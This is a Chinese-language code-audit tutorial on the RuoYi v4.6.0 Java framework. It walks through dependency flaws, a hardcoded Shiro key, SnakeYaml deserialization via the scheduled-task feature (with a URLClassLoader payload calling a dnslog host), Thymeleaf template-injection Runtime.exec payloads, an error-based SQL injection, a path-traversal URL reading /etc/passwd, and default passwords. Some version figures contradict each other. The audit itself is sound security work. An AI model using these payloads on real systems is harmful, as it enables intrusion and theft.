RuoYi 是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。本次对此框架代码进行源码审计。
源码下载路径:https://github.com/yangzongzhuan/RuoYi
直接拖入IDEA加载,Maven下载所需的jar包
JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Maven >= 3.0
JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Maven >= 3.0
若依后台管理系统V4.6.0
1.Phpstudy导入数据库,如果导入失败,可直接使用cmd命令行导入
2.修改 src\main\resources\application-druid.yml 配置文件中数据库账号密码
3.点击run即可
第三方组件漏洞审计
本项目使用Maven构建的。因此我们直接看pom.xml文件引入了哪些组件。通过IDEA打开若依,发现本项目采用了多模块方式。因此每个模块下都会有一个pom.xml,项目最外层的pom.xml为父POM。我们可以通过 pom.xml 或者 External Libraries 来确定引入组件的版本,具体整理如下:
组件名称 | 组件版本 | 是否存在漏洞 |
---|---|---|
shiro | 1.7.0 | 存在 |
thymeleaf | 2.0.0 | 存在 |
druid | 1.1.14 | 不存在 |
mybatis | 1.3.2 | 不存在 |
bitwalker | 1.19 | 不存在 |
kaptcha | 2.3.2 | 不存在 |
swagger | 2.9.2 | 不存在 |
pagehelper | 1.2.5 | 不存在 |
fastjson | 1.2.60 | 存在 |
oshi | 3.9.1 | 不存在 |
commons.io | 2.5 | 存在 |
commons.fileupload | 1.3.3 | 不存在 |
poi | 3.17 | 存在 |
velocity | 1.7 | 存在 |
snakeyaml | 1.23 | 存在 |
通过版本号进行初步判断后,我们还需再进一步验证
发现shiro组件,shiro常见的两个漏洞:一个是默认秘钥,一个是权限绕过。
(1) AES秘钥在1.2.4版本及之前版本是硬编码在代码里的,可以通过GitHub开源的shiro代码获取AES密钥。1.2.5版本以后shiro提供了AES密钥的随机生成代码,但是如果仅进行shiro的版本升级,AES密钥仍硬编码在代码中,仍然会存在反序列化风险。
权限绕过影响的版本是小于1.8.0,本文中shiro组件版本为:1.7.0。实际工作中有的开发可能就会不自己生成key,而使用随机生成的,所以可用反序列化工具爆破一波默认密钥,本文搭建的环境没有更改所以存在默认key。
注意:Shiro 1.4.2版本对于Shiro反序列化来说是个分水岭。由于CVE-2019-12422漏洞的出现,也就是Shiro Padding Oracle Attack漏洞。Shiro在1.4.2版本开始,由AES-CBC加密模式改为了AES-GCM。所以我们在做漏洞验证时,要将payload改成AES-GCM加密模式。
通过查看pom.xml文件,我们了解到本套项目使用了Shiro组件,且shiro框架版本为1.7.0
我们进一步查看Shiro配置文件时,发现了Shiro密钥硬编码写在了代码文件中。代码位于
RuoYi-v4.6\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java
可以直接通过搜索关键字setCipherKey或CookieRememberMeManager,来看看密钥是否硬编码在了代码中,因为 setCipherKey 方法是修改密钥的。查看是否存在,存在就说明有默认key,本次项目存在。
如果想要查看具体的密钥值,可在全局搜索:cipherKey,就会发现具体的密钥值是什么。
(2)权限绕过漏洞在代码审计中,可在项目中找到shiro的配置文件,然后找到shiro的过滤器,shiro过滤器中,anon表示匿名访问也就是无需认证即可访问,authc表示需要认证才可访问,所以我们可以看下有没有authc,是否可能存在未授权访问的问题。
可以发现当前项目中设置了所有请求需要认证,所以不存在权限绕过漏洞,关于URL的匹配规则可看补充中的第二点。
1)本文搭建的环境为:1.2.74,Fastjson <= 1.2.68 都是存在漏洞的,关于Fastjson v1.2.80 绕过的文章很少,所以就先放弃学习吧。
2)Fastjson 通过函数 parse 或者 parseObject 来完成字符串的反序列化操作,并且可以通过 @type 来指定反序列化的类型,,所以在遇见1.2.68以下版本时,可全局查找这两个关键函数。
代码审计时正常查看所有的pom.xml文件,如果存在snakeyaml依赖包就可以尝试snakeyaml反序列化漏洞,本文可全局搜索:snakeyaml。
如果只是引用了snakeyaml包不能百分百保证存在反序列化漏洞,也可能在序列化时做了一些防护措施,比如把每个 !! 修饰过的类都转成了一个 TAG,这时可全局搜索查看是否有tag:yaml.org,2002:,没有就存在反序列化漏洞。一般SnakeYaml对Java对象进行序列化或反序列化都会出现如下所示格式,所以就全局搜索 yaml ,查看是否有类似下面格式的,可以发现不光有下面的格式还有yaml.dump和yaml().load()函数。
选择Yaml yaml = new Yaml();
点进去可以看到这里进行了序列化,并且全局搜索也没有tag:yaml.org,2002:,所以存在反序列化漏洞。
我们通过上述代码分析知道该系统存在SnakeYaml 反序列化漏洞,可以直接使用若依一键利用工具
项目地址: https://github.com/passer-W/Ruoyi-All根据该工具介绍如下图所示:
通过上述工具可知,SnakeYaml 反序列化漏洞可在定时任务处利用
基础验证:
①、先登录DNSlog平台,获取一个DNSlog地址。
②、然后进入后台,访问 系统监控-定时任务 功能,点击新增,在目标字符串下添加如 下内容(即攻击payload):
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://78v72d.dnslog.cn/"]]]]')
通过查看pom.xml文件,我们知道Thymeleaf版本为2.0.0,这个版本是有漏洞的,即(SSTI)漏洞。
我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。 在Controller层,我们关注两点:
1、URL路径可控。
2、return内容可控。 所谓可控,也就是接受输入。对应上面两个关注点,举例说明如下:
URL路径可控
@RequestMapping("/hello")
public class HelloController { @RequestMapping("/whoami/{name}/{sex}")
public String hello(@PathVariable("name")String name,@PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}
return内容可控
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap){
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
通过全局搜索,在若依v4.6.0版本中,我们发现有以下两个注入点,路径分别是:
ruoyi-adminsrc/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java
Ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.java
注入点1:
我们首先在src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java文件中看到一个触发点,路由信息为:/demo/form/localrefresh/task
验证:
Payload:${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
注入点2:
ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.java 文件。该文件下有多个地方 Return内容可控 ,如下图所示:
简单理解:接收到 fragment 后,在return处进行了模板路径拼接。 根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue 。请求方法为 POST ,请求参数均为fragment
漏洞验证:
我们以 getNames接口为例,该漏洞点为return内容可控 ,具体漏洞验证如下。
1、正常启动项目,进入后台。我们发现在系统监控下有个缓存监控 的功能,和代码审计发现的 CacheControlle 代码文件中功能注释一样。初步确定两者相同。
2、访问缓存监控功能。进入后,分别点击缓存列表和键名列表 旁的刷新按钮,会分别向 getNames , getKeys 接口发送数据。如下图所示: 访问http://127.0.0.1/monitor/cache/,抓“刷新”按钮的数据包:
3、我们选中getNames这个接口,将数据包发送到Repeater模块,在fragment 参数后构造攻击payload:
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
对paylod进行URL编码后,发送数据包。如下图所示:
4、我们选中getKeys这个接口,将数据包发送到Repeater模块,在fragment 参数后构造攻击payload:
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
对Payload进行URL编码后,放入 fragment 参数中,可以看到弹出了计算器,如下图所示:(注意这里的cacheName不能为空,可以随便输入一个)
1)若依系统内置了Druid,所以会有可能有未授权访问或者弱口令,未授权访问路径常见的有 /druid/,/prod-api/druid/,/api/druid/等,这是常见的,也可以直接扫一波,弱口令就是 ruoyi/123456 或者 admin/123456。
2)审计时可直接搜索druid,我们看到涉及druid的有以下文件:
我们首先进入DruidController.java文件,因此,这段代码的作用是:当用户访问 /monitor/data 路径时,如果拥有 "monitor:data:view" 权限,则重定向到 /druid/index 页面。
然后,我们在application-druid.yml文件中,看到druid没有设置用户名和密码(一般情况下会有,如果是弱口令,那么就可以爆破),也没有设置白名单,意味着所有用户都可以访问,那么就存在未授权。
我们进入DruidConfig.java文件,这段代码的作用是配置 Druid 数据源,并对 Druid 监控页面进行了一些定制,比如去除了底部的广告信息。
我们进入DruidProperties.java文件,这段代码是一个Spring Boot项目中用于配置Druid数据源的类,也不涉及到过滤以及限制访问等限制未授权的防御措施。
1)这个一般就是使用相关工具或者字典扫一下,然后try it out试试看,是否路径都做了鉴权,有没有信息泄露等。
http://ip:port/swagger-ui.html#/
2)点击try it out 然后构造参数之后,再点击execute执行,拼接路径。
3) 造成信息泄露,获取账号密码。
4)审计的话就全局搜索:swagger-ui.html,存在的话看下路径然后访问下,看看有没有鉴权什么的
在SwaggerController.java文件中,
在ResourcesConfig.java文件中,
SpringBoot中的SQL注入一般都是因为使用了 $ 的原因。可以全局搜索 $ 并匹配 .xml 文件类型,快速查看是否存在SQL注入,发现前端多个位置存在这个注入点。
那就选择第一个先跟一下流程吧,现在是在resources中的SysDeptMapper.xml文件中。
找到 id 然后按住ctrl+左键进入到dao(mapper)层。
继续在 selectDeptList 上按住ctrl+左键往上,跟看谁调用的,会发现有四个选择第四个肯定不是了,从那来的,另外三个都在一个文件中,随便选择一个吧。
来到serveice层,根据注释和代码发现,第一处是查询部门数据,也知道是在部门管理的功能处
7)继续跟 selectDeptList 进入 controller 层,发现最终前端调用处为调用列表的相关功能,比如搜索,刷新等操作,路径为/system/dept/list,请求方式为post。
验证:
(1)根据路由信息,找到系统对应的功能点,在这里我们可以定位到部门管理的编辑操作
(2)然后抓包,发送到repeater模块,构造poc,发现 POST 请求体里没有params[dataScope]字段,于是尝试将 POST 请求体替换为以下 POC:
deptName=&status=¶ms[dataScope]=and extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))
使用使用CodeQLpy工具扫描源码,发现有三处文件下载功能,怀疑有任意文件下载漏洞。
代码位于 RuoYi\ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java,我们选择方法resourceDownload进行全局搜索,发现并没有其他功能调用他.
既然这样,只能分析代码,自己构造请求了
通过扫描结果,我们知道漏洞代码为 FileUtils.writeBytes(downloadPath, response.getOutputStream()),它使用了FileUtils.writeBytes() 方法输出指定文件的byte数组,即将文件从服务器下载到本地。其中该函数中有两个参数,分别为 downloadPath 和 response.getOutputStream() 。
getOutputStream() 方法用于返回Servlet引擎创建的字节输出流对象,Servlet程序可以按字节形式输出响应正文。
downloadPath 是由 localPath 和StringUtils.substringAfter(resource,Constants.RESOURCE_PREFIX)组成,
localPath 注释为本地资源路径 ,通过打个端点,我们可以看到localPath: D:/ruoyi/uploadPath,
StringUtils.substringAfter() 方法为取得指定字符串后的字符串。
resource是请求中接收参数的字段。
Constants.RESOURCE_PREFIX 为设置的常量 /profile ,主要作用为资源映射路径的前缀。
我们进行断点调试,进而判断上述参数在代码执行过程中的变化。
从上述调试过程中,首先应该知道,接收参数值的为 resource,其次,处理整个文件流程,是没有任何防护的。根据接口路径和接收参数字段组合为 /common/download/resource?resource= 。根据 StringUtils.substringAfter() 方法为取得指定字符串后的字符串,其中指定的字符串为 /profile 。也就是取得 /profile 之后的字符串。那么最终,漏洞Payload为 http://127.0.0.1/common/download/resource?resource=/profile/../../../../etc/passwd。具体几个 ../ 要看实际设置目录的深度。
1)简单梳理下基础内容,Apache Shiro是一个执行身份验证、授权、密码和会话管理的Java安全框架。
Shiro反序列化的目的是为了让浏览器或服务器重启后用户不丢失登录状态,因为Shiro 支持将持久化信息序列化,并且加密后可以保存在 Cookie 的 rememberMe 字段中,方便下次读取时进行解密再反序列化。
反序列化漏洞的原理是因为Shiro内置了一个默认且固定的加密 Key,可被攻击者通过伪造的rememberMe Cookie去触发反序列化漏洞,过程为:Cookie获取rememebrMe值->base64解码->AES解密->反序列。
在高版本中如果开发者没有手动设置密钥那么每次服务启动时都会随机生成一个密钥,本文搭建的环境就存在。
2)shiro中的url匹配规则为
/admin | 只匹配固定的URL,比如 http://xxx.com/admin,只能匹配到 http://xxx.com/admin |
---|---|
/admin? | 匹配一个字符,比如 http://xxx.com/admin?,将匹配“ /admin1”、“/admin2”,但不匹配“/admin” |
/* | 匹配零个或多个字符串,比如 http://xxx.com/admin/*”,将匹配 /admin/路径下的任意内容 ,但是不匹配多个路径,如 http://xxx.com/admin/1/2就匹配不到 |
/** | 匹配路径中的零个或多个路径 ,比如http://xxx.com/admin/,将匹配/admin/下级的所有路径中的内容,http://xxx.com/admin/xxxx/asd** |
1)${ }和#{ }的区别如下:
#{ } 相当于jdbc中的preparedstatement,传入的字符串,需要赋值后使用,可以有效防止sql注入。
$ { } 是输出变量的值,传入的变量,可直接拼接在sql中执行,无法防止sql注入。
就是 #{ } 传过来的参数带单引号的,而${ }传过来的参数不带单引号。
2)在SpringBoot框架中,通常流程是controller层接收前端请求然后调用service层,serveice层的业务逻辑去调用dao访问数据库做增删改查操作,dao在调用sources中的对应的.xml文件做具体的SQL语句,sql语句都是在.xml文件中写的,而不是在Java代码中直接利用connection连接数据库进行查询,这样层次更清晰,代码也更容易维护。因为具体的SQL语句都在.xml文件中,所以可以在.xml文件中搜索 $ 符号,快速寻找是否存在SQL注入漏洞。
1)SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。而若依后台管理系统使用了snakeyaml 的jar包,可以通过定时任务功能构造payload远程调用jar包,从而执行任意命令。
2)Yaml.dump():把yaml格式的数据序列化变为YAML字符串或者YAML流,Yaml.load()反序列化生成java对象。
3)!! 是用于强制类型转化,强制转换为!!后指定的类型,类似于fastjson中的@type用于指定反序列化的全类名。
Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。 如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。